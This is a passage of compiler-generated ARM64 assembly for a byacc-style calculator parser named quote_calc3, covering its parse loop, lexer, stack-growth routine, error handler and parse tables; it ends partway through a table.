_quote_calc3_lex ldr x8, [sp, #40] ; 8-byte Folded Reload str w0, [x8] subs w8, w0, #0 cset w8, ge tbnz w8, #0, LBB1_9 b LBB1_8 LBB1_8: ; in Loop: Header=BB1_4 Depth=1 ldr x8, [sp, #40] ; 8-byte Folded Reload str wzr, [x8] b LBB1_9 LBB1_9: ; in Loop: Header=BB1_4 Depth=1 b LBB1_10 LBB1_10: ; in Loop: Header=BB1_4 Depth=1 ldursw x9, [x29, #-16] adrp x8, _quote_calc3_sindex@PAGE add x8, x8, _quote_calc3_sindex@PAGEOFF ldrsh w8, [x8, x9, lsl #1] stur w8, [x29, #-12] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB1_20 b LBB1_11 LBB1_11: ; in Loop: Header=BB1_4 Depth=1 ldr x8, [sp, #40] ; 8-byte Folded Reload ldr w9, [x8] ldur w8, [x29, #-12] add w8, w8, w9 stur w8, [x29, #-12] subs w8, w8, #0 cset w8, lt tbnz w8, #0, LBB1_20 b LBB1_12 LBB1_12: ; in Loop: Header=BB1_4 Depth=1 ldur w8, [x29, #-12] subs w8, w8, #258 cset w8, gt tbnz w8, #0, LBB1_20 b LBB1_13 LBB1_13: ; in Loop: Header=BB1_4 Depth=1 ldr x9, [sp, #40] ; 8-byte Folded Reload ldursw x10, [x29, #-12] adrp x8, _quote_calc3_check@PAGE add x8, x8, _quote_calc3_check@PAGEOFF ldrsh w8, [x8, x10, lsl #1] ldr w9, [x9] subs w8, w8, w9 cset w8, ne tbnz w8, #0, LBB1_20 b LBB1_14 LBB1_14: ; in Loop: Header=BB1_4 Depth=1 ldur x9, [x29, #-32] ; 8-byte Folded Reload ldr x8, [x9, #16] ldr x9, [x9, #24] subs x8, x8, x9 cset w8, lo tbnz w8, #0, LBB1_17 b LBB1_15 LBB1_15: ; in Loop: Header=BB1_4 Depth=1 adrp x0, _yystack@PAGE add x0, x0, _yystack@PAGEOFF bl _yygrowstack subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB1_17 b LBB1_16 LBB1_16: b LBB1_85 LBB1_17: ; in Loop: Header=BB1_4 Depth=1 ldr x8, [sp, #32] ; 8-byte Folded Reload ldr x10, [sp, #40] ; 8-byte Folded Reload ldur x13, [x29, #-32] ; 8-byte Folded Reload ldursw x11, [x29, #-12] adrp x9, _quote_calc3_table@PAGE add x9, x9, _quote_calc3_table@PAGEOFF ldrsh w11, [x9, x11, lsl #1] stur w11, [x29, #-16] ldursw x11, [x29, #-12] add x9, x9, x11, lsl #1 ldrh w9, [x9] ldr x11, [x13, #16] add x12, x11, #2 str x12, [x13, #16] strh w9, [x11, #2] adrp x9, _quote_calc3_lval@GOTPAGE ldr x9, [x9, _quote_calc3_lval@GOTPAGEOFF] ldr w9, [x9] ldr x11, [x13, #40] add x12, x11, #4 str x12, [x13, #40] str w9, [x11, #4] mov w9, #-1 str w9, [x10] ldr w8, [x8] subs w8, w8, #0 cset w8, le tbnz w8, #0, LBB1_19 b LBB1_18 LBB1_18: ; in Loop: Header=BB1_4 Depth=1 ldr x9, [sp, #32] ; 8-byte Folded Reload ldr w8, [x9] subs w8, w8, #1 str w8, [x9] b LBB1_19 LBB1_19: ; in Loop: Header=BB1_4 Depth=1 b LBB1_4 LBB1_20: ; in Loop: Header=BB1_4 Depth=1 ldursw x9, [x29, #-16] adrp x8, _quote_calc3_rindex@PAGE add x8, x8, _quote_calc3_rindex@PAGEOFF ldrsh w8, [x8, x9, lsl #1] stur w8, [x29, #-12] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB1_25 b LBB1_21 LBB1_21: ; in Loop: Header=BB1_4 Depth=1 ldr x8, [sp, #40] ; 8-byte Folded Reload ldr w9, [x8] ldur w8, [x29, #-12] add w8, w8, w9 stur w8, [x29, #-12] subs w8, w8, #0 cset w8, lt tbnz w8, #0, LBB1_25 b LBB1_22 LBB1_22: ; in Loop: Header=BB1_4 Depth=1 ldur w8, [x29, #-12] subs w8, w8, #258 cset w8, gt tbnz w8, #0, LBB1_25 b LBB1_23 LBB1_23: ; in Loop: Header=BB1_4 Depth=1 ldr x9, [sp, #40] ; 8-byte Folded Reload ldursw x10, [x29, #-12] adrp x8, _quote_calc3_check@PAGE add x8, x8, _quote_calc3_check@PAGEOFF ldrsh w8, [x8, x10, lsl #1] ldr w9, [x9] subs w8, w8, w9 cset w8, ne tbnz w8, #0, LBB1_25 b LBB1_24 LBB1_24: ; in Loop: Header=BB1_4 Depth=1 ldursw x9, [x29, #-12] adrp x8, _quote_calc3_table@PAGE add x8, x8, _quote_calc3_table@PAGEOFF ldrsh w8, [x8, x9, lsl #1] stur w8, [x29, #-12] b LBB1_46 LBB1_25: ; in Loop: Header=BB1_4 Depth=1 ldr x8, [sp, #32] ; 8-byte Folded Reload ldr w8, [x8] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB1_27 b LBB1_26 LBB1_26: ; in Loop: Header=BB1_4 Depth=1 b LBB1_29 LBB1_27: ; in Loop: Header=BB1_4 Depth=1 adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _quote_calc3_error b LBB1_28 LBB1_28: ; in Loop: Header=BB1_4 Depth=1 ldr x9, [sp, #24] ; 8-byte Folded Reload ldr w8, [x9] add w8, w8, #1 str w8, [x9] b LBB1_29 LBB1_29: ; in Loop: Header=BB1_4 Depth=1 ldr x8, [sp, #32] ; 8-byte Folded Reload ldr w8, [x8] subs w8, w8, #3 cset w8, ge tbnz w8, #0, LBB1_43 b LBB1_30 LBB1_30: ; in Loop: Header=BB1_4 Depth=1 ldr x9, [sp, #32] ; 8-byte Folded Reload mov w8, #3 str w8, [x9] b LBB1_31 LBB1_31: ; Parent Loop BB1_4 Depth=1 ; => This Inner Loop Header: Depth=2 ldur x8, [x29, #-32] ; 8-byte Folded Reload ldr x8, [x8, #16] ldrsh x9, [x8] adrp x8, _quote_calc3_sindex@PAGE add x8, x8, _quote_calc3_sindex@PAGEOFF ldrsh w8, [x8, x9, lsl #1] stur w8, [x29, #-12] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB1_39 b LBB1_32 LBB1_32: ; in Loop: Header=BB1_31 Depth=2 ldur w8, [x29, #-12] add w8, w8, #256 stur w8, [x29, #-12] subs w8, w8, #0 cset w8, lt tbnz w8, #0, LBB1_39 b LBB1_33 LBB1_33: ; in Loop: Header=BB1_31 Depth=2 ldur w8, [x29, #-12] subs w8, w8, #258 cset w8, gt tbnz w8, #0, LBB1_39 b LBB1_34 LBB1_34: ; in Loop: Header=BB1_31 Depth=2 ldursw x9, [x29, #-12] adrp x8, _quote_calc3_check@PAGE add x8, x8, _quote_calc3_check@PAGEOFF ldrsh w8, [x8, x9, lsl #1] subs w8, w8, #256 cset w8, ne tbnz w8, #0, LBB1_39 b LBB1_35 LBB1_35: ; in Loop: Header=BB1_4 Depth=1 ldur x9, [x29, #-32] ; 8-byte Folded Reload ldr x8, [x9, #16] ldr x9, [x9, #24] subs x8, x8, x9 cset w8, lo tbnz w8, #0, LBB1_38 b LBB1_36 LBB1_36: ; in Loop: Header=BB1_4 Depth=1 adrp x0, _yystack@PAGE add x0, x0, _yystack@PAGEOFF bl _yygrowstack subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB1_38 b LBB1_37 LBB1_37: b LBB1_85 LBB1_38: ; in Loop: Header=BB1_4 Depth=1 ldur x11, [x29, #-32] ; 8-byte Folded Reload ldursw x9, [x29, #-12] adrp x8, _quote_calc3_table@PAGE add x8, x8, _quote_calc3_table@PAGEOFF ldrsh w9, [x8, x9, lsl #1] stur w9, [x29, #-16] ldursw x9, [x29, #-12] add x8, x8, x9, lsl #1 ldrh w8, [x8] ldr x9, [x11, #16] add x10, x9, #2 str x10, [x11, #16] strh w8, [x9, #2] adrp x8, _quote_calc3_lval@GOTPAGE ldr x8, [x8, _quote_calc3_lval@GOTPAGEOFF] ldr w8, [x8] ldr x9, [x11, #40] add x10, x9, #4 str x10, [x11, #40] str w8, [x9, #4] b LBB1_4 LBB1_39: ; in Loop: Header=BB1_31 Depth=2 ldur x9, [x29, #-32] ; 8-byte Folded Reload ldr x8, [x9, #16] ldr x9, [x9, #8] subs x8, x8, x9 cset w8, hi tbnz w8, #0, LBB1_41 b LBB1_40 LBB1_40: b LBB1_86 LBB1_41: ; in Loop: Header=BB1_31 Depth=2 ldur x9, [x29, #-32] ; 8-byte Folded Reload ldr x8, [x9, #16] subs x8, x8, #2 str x8, [x9, #16] ldr x8, [x9, #40] subs x8, x8, #4 str x8, [x9, #40] b LBB1_42 LBB1_42: ; in Loop: Header=BB1_31 Depth=2 b LBB1_31 LBB1_43: ; in Loop: Header=BB1_4 Depth=1 ldr x8, [sp, #40] ; 8-byte Folded Reload ldr w8, [x8] subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB1_45 b LBB1_44 LBB1_44: b LBB1_86 LBB1_45: ; in Loop: Header=BB1_4 Depth=1 ldr x9, [sp, #40] ; 8-byte Folded Reload mov w8, #-1 str w8, [x9] b LBB1_4 LBB1_46: ; in Loop: Header=BB1_4 Depth=1 ldursw x9, [x29, #-12] adrp x8, _quote_calc3_len@PAGE add x8, x8, _quote_calc3_len@PAGEOFF ldrsh w8, [x8, x9, lsl #1] stur w8, [x29, #-8] ldur w8, [x29, #-8] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB1_48 b LBB1_47 LBB1_47: ; in Loop: Header=BB1_4 Depth=1 ldur x9, [x29, #-24] ; 8-byte Folded Reload ldur x8, [x29, #-32] ; 8-byte Folded Reload ldr x8, [x8, #40] ldur w11, [x29, #-8] mov w10, #1 subs w10, w10, w11 ldr w8, [x8, w10, sxtw #2] str w8, [x9] b LBB1_49 LBB1_48: ; in Loop: Header=BB1_4 Depth=1 ldur x8, [x29, #-24] ; 8-byte Folded Reload str wzr, [x8] b LBB1_49 LBB1_49: ; in Loop: Header=BB1_4 Depth=1 ldur w8, [x29, #-12] subs w8, w8, #3 ; kill: def $x8 killed $w8 str x8, [sp, #16] ; 8-byte Folded Spill subs x8, x8, #15 cset w8, hi tbnz w8, #0, LBB1_66 ; %bb.50: ; in Loop: Header=BB1_4 Depth=1 ldr x11, [sp, #16] ; 8-byte Folded Reload adrp x10, lJTI1_0@PAGE add x10, x10, lJTI1_0@PAGEOFF Ltmp0: adr x8, Ltmp0 ldrsw x9, [x10, x11, lsl #2] add x8, x8, x9 br x8 LBB1_51: ; in Loop: Header=BB1_4 Depth=1 ldr x8, [sp, #32] ; 8-byte Folded Reload str wzr, [x8] b LBB1_66 LBB1_52: ; in Loop: Header=BB1_4 Depth=1 ldur x8, [x29, #-32] ; 8-byte Folded Reload ldr x8, [x8, #40] ldr w9, [x8] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _printf b LBB1_66 LBB1_53: ; in Loop: Header=BB1_4 Depth=1 ldur x9, [x29, #-32] ; 8-byte Folded Reload ldr x8, [x9, #40] ldr w8, [x8] ldr x9, [x9, #40] ldursw x10, [x9, #-8] adrp x9, _regs@GOTPAGE ldr x9, [x9, _regs@GOTPAGEOFF] str w8, [x9, x10, lsl #2] b LBB1_66 LBB1_54: ; in Loop: Header=BB1_4 Depth=1 ldur x9, [x29, #-24] ; 8-byte Folded Reload ldur x8, [x29, #-32] ; 8-byte Folded Reload ldr x8, [x8, #40] ldur w8, [x8, #-4] str w8, [x9] b LBB1_66 LBB1_55: ; in Loop: Header=BB1_4 Depth=1 ldur x9, [x29, #-24] ; 8-byte Folded Reload ldur x10, [x29, #-32] ; 8-byte Folded Reload ldr x8, [x10, #40] ldur w8, [x8, #-8] ldr x10, [x10, #40] ldr w10, [x10] add w8, w8, w10 str w8, [x9] b LBB1_66 LBB1_56: ; in Loop: Header=BB1_4 Depth=1 ldur x9, [x29, #-24] ; 8-byte Folded Reload ldur x10, [x29, #-32] ; 8-byte Folded Reload ldr x8, [x10, #40] ldur w8, [x8, #-8] ldr x10, [x10, #40] ldr w10, [x10] subs w8, w8, w10 str w8, [x9] b LBB1_66 LBB1_57: ; in Loop: Header=BB1_4 Depth=1 ldur x9, [x29, #-24] ; 8-byte Folded Reload ldur x10, [x29, #-32] ; 8-byte Folded Reload ldr x8, [x10, #40] ldur w8, [x8, #-8] ldr x10, [x10, #40] ldr w10, [x10] mul w8, w8, w10 str w8, [x9] b LBB1_66 LBB1_58: ; in Loop: Header=BB1_4 Depth=1 ldur x9, [x29, #-24] ; 8-byte Folded Reload ldur x10, [x29, #-32] ; 8-byte Folded Reload ldr x8, [x10, #40] ldur w8, [x8, #-8] ldr x10, [x10, #40] ldr w10, [x10] sdiv w8, w8, w10 str w8, [x9] b LBB1_66 LBB1_59: ; in Loop: Header=BB1_4 Depth=1 ldur x9, [x29, #-24] ; 8-byte Folded Reload ldur x10, [x29, #-32] ; 8-byte Folded Reload ldr x8, [x10, #40] ldur w8, [x8, #-8] ldr x10, [x10, #40] ldr w11, [x10] sdiv w10, w8, w11 mul w10, w10, w11 subs w8, w8, w10 str w8, [x9] b LBB1_66 LBB1_60: ; in Loop: Header=BB1_4 Depth=1 ldur x9, [x29, #-24] ; 8-byte Folded Reload ldur x10, [x29, #-32] ; 8-byte Folded Reload ldr x8, [x10, #40] ldur w8, [x8, #-8] ldr x10, [x10, #40] ldr w10, [x10] and w8, w8, w10 str w8, [x9] b LBB1_66 LBB1_61: ; in Loop: Header=BB1_4 Depth=1 ldur x9, [x29, #-24] ; 8-byte Folded Reload ldur x10, [x29, #-32] ; 8-byte Folded Reload ldr x8, [x10, #40] ldur w8, [x8, #-8] ldr x10, [x10, #40] ldr w10, [x10] orr w8, w8, w10 str w8, [x9] b LBB1_66 LBB1_62: ; in Loop: Header=BB1_4 Depth=1 ldur x9, [x29, #-24] ; 8-byte Folded Reload ldur x8, [x29, #-32] ; 8-byte Folded Reload ldr x8, [x8, #40] ldr w10, [x8] mov w8, #0 subs w8, w8, w10 str w8, [x9] b LBB1_66 LBB1_63: ; in Loop: Header=BB1_4 Depth=1 ldur x9, [x29, #-24] ; 8-byte Folded Reload ldur x8, [x29, #-32] ; 8-byte Folded Reload ldr x8, [x8, #40] ldrsw x10, [x8] adrp x8, _regs@GOTPAGE ldr x8, [x8, _regs@GOTPAGEOFF] ldr w8, [x8, x10, lsl #2] str w8, [x9] b LBB1_66 LBB1_64: ; in Loop: Header=BB1_4 Depth=1 ldur x8, [x29, #-32] ; 8-byte Folded Reload ldur x10, [x29, #-24] ; 8-byte Folded Reload ldr x9, [x8, #40] ldr w9, [x9] str w9, [x10] ldr x8, [x8, #40] ldr w8, [x8] subs w8, w8, #0 cset w8, eq and w10, w8, #0x1 mov w9, #10 mov w8, #8 ands w10, w10, #0x1 csel w8, w8, w9, ne adrp x9, _base@GOTPAGE ldr x9, [x9, _base@GOTPAGEOFF] str w8, [x9] b LBB1_66 LBB1_65: ; in Loop: Header=BB1_4 Depth=1 ldur x9, [x29, #-24] ; 8-byte Folded Reload ldur x10, [x29, #-32] ; 8-byte Folded Reload adrp x8, _base@GOTPAGE ldr x8, [x8, _base@GOTPAGEOFF] ldr w8, [x8] ldr x11, [x10, #40] ldur w11, [x11, #-4] mul w8, w8, w11 ldr x10, [x10, #40] ldr w10, [x10] add w8, w8, w10 str w8, [x9] b LBB1_66 LBB1_66: ; in Loop: Header=BB1_4 Depth=1 ldur x9, [x29, #-32] ; 8-byte Folded Reload ldursw x11, [x29, #-8] ldr x8, [x9, #16] mov x10, #0 subs x11, x10, x11 add x8, x8, x11, lsl #1 str x8, [x9, #16] ldr x8, [x9, #16] ldrsh w8, [x8] stur w8, [x29, #-16] ldursw x11, [x29, #-8] ldr x8, [x9, #40] subs x10, x10, x11 add x8, x8, x10, lsl #2 str x8, [x9, #40] ldursw x9, [x29, #-12] adrp x8, _quote_calc3_lhs@PAGE add x8, x8, _quote_calc3_lhs@PAGEOFF ldrsh w8, [x8, x9, lsl #1] stur w8, [x29, #-8] ldur w8, [x29, #-16] subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB1_75 b LBB1_67 LBB1_67: ; in Loop: Header=BB1_4 Depth=1 ldur w8, [x29, #-8] subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB1_75 b LBB1_68 LBB1_68: ; in Loop: Header=BB1_4 Depth=1 ldr x8, [sp, #40] ; 8-byte Folded Reload ldur x12, [x29, #-32] ; 8-byte Folded Reload ldur x9, [x29, #-24] ; 8-byte Folded Reload mov w10, #1 stur w10, [x29, #-16] ldr x11, [x12, #16] add x10, x11, #2 str x10, [x12, #16] mov w10, #1 strh w10, [x11, #2] ldr w9, [x9] ldr x10, [x12, #40] add x11, x10, #4 str x11, [x12, #40] str w9, [x10, #4] ldr w8, [x8] subs w8, w8, #0 cset w8, ge tbnz w8, #0, LBB1_72 b LBB1_69 LBB1_69: ; in Loop: Header=BB1_4 Depth=1 bl _quote_calc3_lex ldr x8, [sp, #40] ; 8-byte Folded Reload str w0, [x8] subs w8, w0, #0 cset w8, ge tbnz w8, #0, LBB1_71 b LBB1_70 LBB1_70: ; in Loop: Header=BB1_4 Depth=1 ldr x8, [sp, #40] ; 8-byte Folded Reload str wzr, [x8] b LBB1_71 LBB1_71: ; in Loop: Header=BB1_4 Depth=1 b LBB1_72 LBB1_72: ; in Loop: Header=BB1_4 Depth=1 ldr x8, [sp, #40] ; 8-byte Folded Reload ldr w8, [x8] subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB1_74 b LBB1_73 LBB1_73: b LBB1_87 LBB1_74: ; in Loop: Header=BB1_4 Depth=1 b LBB1_4 LBB1_75: ; in Loop: Header=BB1_4 Depth=1 ldursw x9, [x29, #-8] adrp x8, _quote_calc3_gindex@PAGE add x8, x8, _quote_calc3_gindex@PAGEOFF ldrsh w8, [x8, x9, lsl #1] stur w8, [x29, #-12] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB1_80 b LBB1_76 LBB1_76: ; in Loop: Header=BB1_4 Depth=1 ldur w9, [x29, #-16] ldur w8, [x29, #-12] add w8, w8, w9 stur w8, [x29, #-12] subs w8, w8, #0 cset w8, lt tbnz w8, #0, LBB1_80 b LBB1_77 LBB1_77: ; in Loop: Header=BB1_4 Depth=1 ldur w8, [x29, #-12] subs w8, w8, #258 cset w8, gt tbnz w8, #0, LBB1_80 b LBB1_78 LBB1_78: ; in Loop: Header=BB1_4 Depth=1 ldursw x9, [x29, #-12] adrp x8, _quote_calc3_check@PAGE add x8, x8, _quote_calc3_check@PAGEOFF ldrsh w8, [x8, x9, lsl #1] ldur w9, [x29, #-16] subs w8, w8, w9 cset w8, ne tbnz w8, #0, LBB1_80 b LBB1_79 LBB1_79: ; in Loop: Header=BB1_4 Depth=1 ldursw x9, [x29, #-12] adrp x8, _quote_calc3_table@PAGE add x8, x8, _quote_calc3_table@PAGEOFF ldrsh w8, [x8, x9, lsl #1] stur w8, [x29, #-16] b LBB1_81 LBB1_80: ; in Loop: Header=BB1_4 Depth=1 ldursw x9, [x29, #-8] adrp x8, _quote_calc3_dgoto@PAGE add x8, x8, _quote_calc3_dgoto@PAGEOFF ldrsh w8, [x8, x9, lsl #1] stur w8, [x29, #-16] b LBB1_81 LBB1_81: ; in Loop: Header=BB1_4 Depth=1 ldur x9, [x29, #-32] ; 8-byte Folded Reload ldr x8, [x9, #16] ldr x9, [x9, #24] subs x8, x8, x9 cset w8, lo tbnz w8, #0, LBB1_84 b LBB1_82 LBB1_82: ; in Loop: Header=BB1_4 Depth=1 adrp x0, _yystack@PAGE add x0, x0, _yystack@PAGEOFF bl _yygrowstack subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB1_84 b LBB1_83 LBB1_83: b LBB1_85 LBB1_84: ; in Loop: Header=BB1_4 Depth=1 ldur x11, [x29, #-32] ; 8-byte Folded Reload ldur x8, [x29, #-24] ; 8-byte Folded Reload ldur w9, [x29, #-16] ldr x10, [x11, #16] add x12, x10, #2 str x12, [x11, #16] strh w9, [x10, #2] ldr w8, [x8] ldr x9, [x11, #40] add x10, x9, #4 str x10, [x11, #40] str w8, [x9, #4] b LBB1_4 LBB1_85: adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _quote_calc3_error b LBB1_86 LBB1_86: mov w8, #1 stur w8, [x29, #-4] b LBB1_88 LBB1_87: stur wzr, [x29, #-4] b LBB1_88 LBB1_88: ldur w0, [x29, #-4] ldp x29, x30, [sp, #80] ; 16-byte Folded Reload add sp, sp, #96 ret .cfi_endproc .p2align 2 lJTI1_0: .long LBB1_51-Ltmp0 .long LBB1_52-Ltmp0 .long LBB1_53-Ltmp0 .long LBB1_54-Ltmp0 .long LBB1_55-Ltmp0 .long LBB1_56-Ltmp0 .long LBB1_57-Ltmp0 .long LBB1_58-Ltmp0 .long LBB1_59-Ltmp0 .long LBB1_60-Ltmp0 .long LBB1_61-Ltmp0 .long LBB1_62-Ltmp0 .long LBB1_63-Ltmp0 .long LBB1_66-Ltmp0 .long LBB1_64-Ltmp0 .long LBB1_65-Ltmp0 ; -- End function .globl _quote_calc3_lex ; -- Begin function quote_calc3_lex .p2align 2 _quote_calc3_lex: ; @quote_calc3_lex .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 b LBB2_1 LBB2_1: ; =>This Inner Loop Header: Depth=1 bl _getchar str w0, [sp, #8] subs w8, w0, #32 cset w8, ne tbnz w8, #0, LBB2_3 b LBB2_2 LBB2_2: ; in Loop: Header=BB2_1 Depth=1 b LBB2_1 LBB2_3: ldr w0, [sp, #8] bl _islower subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB2_5 b LBB2_4 LBB2_4: ldr w8, [sp, #8] subs w8, w8, #97 adrp x9, _quote_calc3_lval@GOTPAGE ldr x9, [x9, _quote_calc3_lval@GOTPAGEOFF] str w8, [x9] mov w8, #270 stur w8, [x29, #-4] b LBB2_8 LBB2_5: ldr w0, [sp, #8] bl _isdigit subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB2_7 b LBB2_6 LBB2_6: ldr w8, [sp, #8] subs w8, w8, #48 adrp x9, _quote_calc3_lval@GOTPAGE ldr x9, [x9, _quote_calc3_lval@GOTPAGEOFF] str w8, [x9] mov w8, #269 stur w8, [x29, #-4] b LBB2_8 LBB2_7: ldr w8, [sp, #8] stur w8, [x29, #-4] b LBB2_8 LBB2_8: ldur w0, [x29, #-4] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .p2align 2 ; -- Begin function yygrowstack _yygrowstack: ; @yygrowstack .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-16] ldur x8, [x29, #-16] ldr w8, [x8] str w8, [sp, #24] subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB3_2 b LBB3_1 LBB3_1: mov w8, #500 str w8, [sp, #24] b LBB3_8 LBB3_2: ldr w8, [sp, #24] subs w8, w8, #500 cset w8, lo tbnz w8, #0, LBB3_4 b LBB3_3 LBB3_3: mov w8, #-1 stur w8, [x29, #-4] b LBB3_13 LBB3_4: ldr w8, [sp, #24] lsl w8, w8, #1 str w8, [sp, #24] subs w8, w8, #500 cset w8, ls tbnz w8, #0, LBB3_6 b LBB3_5 LBB3_5: mov w8, #500 str w8, [sp, #24] b LBB3_6 LBB3_6: b LBB3_7 LBB3_7: b LBB3_8 LBB3_8: ldur x8, [x29, #-16] ldr x8, [x8, #16] ldur x9, [x29, #-16] ldr x9, [x9, #8] subs x8, x8, x9 mov x9, #2 sdiv x8, x8, x9 ; kill: def $w8 killed $w8 killed $x8 stur w8, [x29, #-20] ldur x8, [x29, #-16] ldr x0, [x8, #8] ldr w8, [sp, #24] ; kill: def $x8 killed $w8 lsl x1, x8, #1 bl _realloc str x0, [sp, #16] ldr x8, [sp, #16] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB3_10 b LBB3_9 LBB3_9: mov w8, #-1 stur w8, [x29, #-4] b LBB3_13 LBB3_10: ldr x8, [sp, #16] ldur x9, [x29, #-16] str x8, [x9, #8] ldr x8, [sp, #16] ldursw x9, [x29, #-20] add x8, x8, x9, lsl #1 ldur x9, [x29, #-16] str x8, [x9, #16] ldur x8, [x29, #-16] ldr x0, [x8, #32] ldr w8, [sp, #24] ; kill: def $x8 killed $w8 lsl x1, x8, #2 bl _realloc str x0, [sp, #8] ldr x8, [sp, #8] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB3_12 b LBB3_11 LBB3_11: mov w8, #-1 stur w8, [x29, #-4] b LBB3_13 LBB3_12: ldr x8, [sp, #8] ldur x9, [x29, #-16] str x8, [x9, #32] ldr x8, [sp, #8] ldursw x9, [x29, #-20] add x8, x8, x9, lsl #2 ldur x9, [x29, #-16] str x8, [x9, #40] ldr w8, [sp, #24] ldur x9, [x29, #-16] str w8, [x9] ldur x8, [x29, #-16] ldr x8, [x8, #8] ldr w9, [sp, #24] ; kill: def $x9 killed $w9 add x8, x8, x9, lsl #1 subs x8, x8, #2 ldur x9, [x29, #-16] str x8, [x9, #24] stur wzr, [x29, #-4] b LBB3_13 LBB3_13: ldur w0, [x29, #-4] ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .p2align 2 ; -- Begin function quote_calc3_error _quote_calc3_error: ; @quote_calc3_error .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str x0, [sp, #8] adrp x8, ___stderrp@GOTPAGE ldr x8, [x8, ___stderrp@GOTPAGEOFF] ldr x0, [x8] ldr x8, [sp, #8] mov x9, sp str x8, [x9] adrp x1, l_.str.3@PAGE add x1, x1, l_.str.3@PAGEOFF bl _fprintf ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .comm _quote_calc3_lval,4,2 ; @quote_calc3_lval .comm _quote_calc3_nerrs,4,2 ; @quote_calc3_nerrs .comm _quote_calc3_errflag,4,2 ; @quote_calc3_errflag .comm _quote_calc3_char,4,2 ; @quote_calc3_char .zerofill __DATA,__bss,_yystack,48,3 ; @yystack .section __TEXT,__const .p2align 1 ; @quote_calc3_defred _quote_calc3_defred: .short 1 ; 0x1 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 17 ; 0x11 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 3 ; 0x3 .short 15 ; 0xf .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 2 ; 0x2 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 18 ; 0x12 .short 0 ; 0x0 .short 6 ; 0x6 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .p2align 1 ; @quote_calc3_sindex _quote_calc3_sindex: .short 0 ; 0x0 .short 65498 ; 0xffda .short 5 ; 0x5 .short 65500 ; 0xffdc .short 0 ; 0x0 .short 65485 ; 0xffcd .short 65500 ; 0xffdc .short 7 ; 0x7 .short 65415 ; 0xff87 .short 65288 ; 0xff08 .short 0 ; 0x0 .short 0 ; 0x0 .short 65293 ; 0xff0d .short 65500 ; 0xffdc .short 65514 ; 0xffea .short 0 ; 0x0 .short 65500 ; 0xffdc .short 65500 ; 0xffdc .short 65500 ; 0xffdc .short 65500 ; 0xffdc .short 65500 ; 0xffdc .short 65500 ; 0xffdc .short 65500 ; 0xffdc .short 0 ; 0x0 .short 65415 ; 0xff87 .short 0 ; 0x0 .short 65415 ; 0xff87 .short 65415 ; 0xff87 .short 65415 ; 0xff87 .short 65415 ; 0xff87 .short 65415 ; 0xff87 .short 65415 ; 0xff87 .short 65293 ; 0xff0d .p2align 1 ; @quote_calc3_check _quote_calc3_check: .short 10 ; 0xa .short 10 ; 0xa .short 40 ; 0x28 .short 124 ; 0x7c .short 40 ; 0x28 .short 10 ; 0xa .short 10 ; 0xa .short 10 ; 0xa .short 10 ; 0xa .short 10 ; 0xa .short 61 ; 0x3d .short 10 ; 0xa .short 10 ; 0xa .short 10 ; 0xa .short 257 ; 0x101 .short 10 ; 0xa .short 259 ; 0x103 .short 10 ; 0xa .short 261 ; 0x105 .short 41 ; 0x29 .short 263 ; 0x107 .short 269 ; 0x10d .short 265 ; 0x109 .short 10 ; 0xa .short 267 ; 0x10b .short 10 ; 0xa .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 41 ; 0x29 .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 41 ; 0x29 .short 41 ; 0x29 .short 41 ; 0x29 .short 41 ; 0x29 .short 41 ; 0x29 .short 65535 ; 0xffff .short 41 ; 0x29 .short 41 ; 0x29 .short 41 ; 0x29 .short 3 ; 0x3 .short 65535 ; 0xffff .short 65535 ; 0xffff .short 6 ; 0x6 .short 65535 ; 